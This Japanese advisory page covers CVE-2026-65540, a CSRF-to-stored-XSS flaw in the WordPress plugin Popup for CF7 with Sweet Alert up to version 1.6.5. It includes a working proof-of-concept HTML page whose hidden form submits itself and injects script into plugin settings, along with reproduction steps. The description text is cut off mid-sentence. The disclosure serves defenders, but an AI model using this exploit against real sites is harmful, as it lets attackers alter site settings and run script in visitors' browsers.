CVE-2026-65540

Popup for CF7 with Sweet Alert <= 1.6.5 - クロスサイトリクエストフォージェリ

プラグイン URL

https://wordpress.org/plugins/cf7-sweet-alert-popup/

説明

このプラグインの設定ハンドラには、nonce 検証における論理エラーがあり、すべての CSRF 保護が無効化されています。未認証の攻撃者は、認証済みの管理者を、自動送信フォームを隠し持つ悪意のあるページにアクセスさせることでこれを悪用し、プラグイン設定を任意に変更できます。送信された値はサニタイズされずに保存され、wp_head を介してすべてのフロントエンドページの

POC

以下の HTML ページを別のサーバーでホストします:

<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>

<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

管理者として WordPress にログインします
悪意のあるページにアクセスします
(任意) http://TARGET/wp-admin/admin.php?page=cf7-simplepopup に移動し、Width フィールドに 500;alert(document.domain) が含まれていることを確認します
任意のフロントエンドページにアクセスすると、ブラウザで alert(document.domain) が実行され、蓄積型 XSS が確認できます

CVE-2026-65540

人気

CVE-2026-65540

プラグイン URL

説明

POC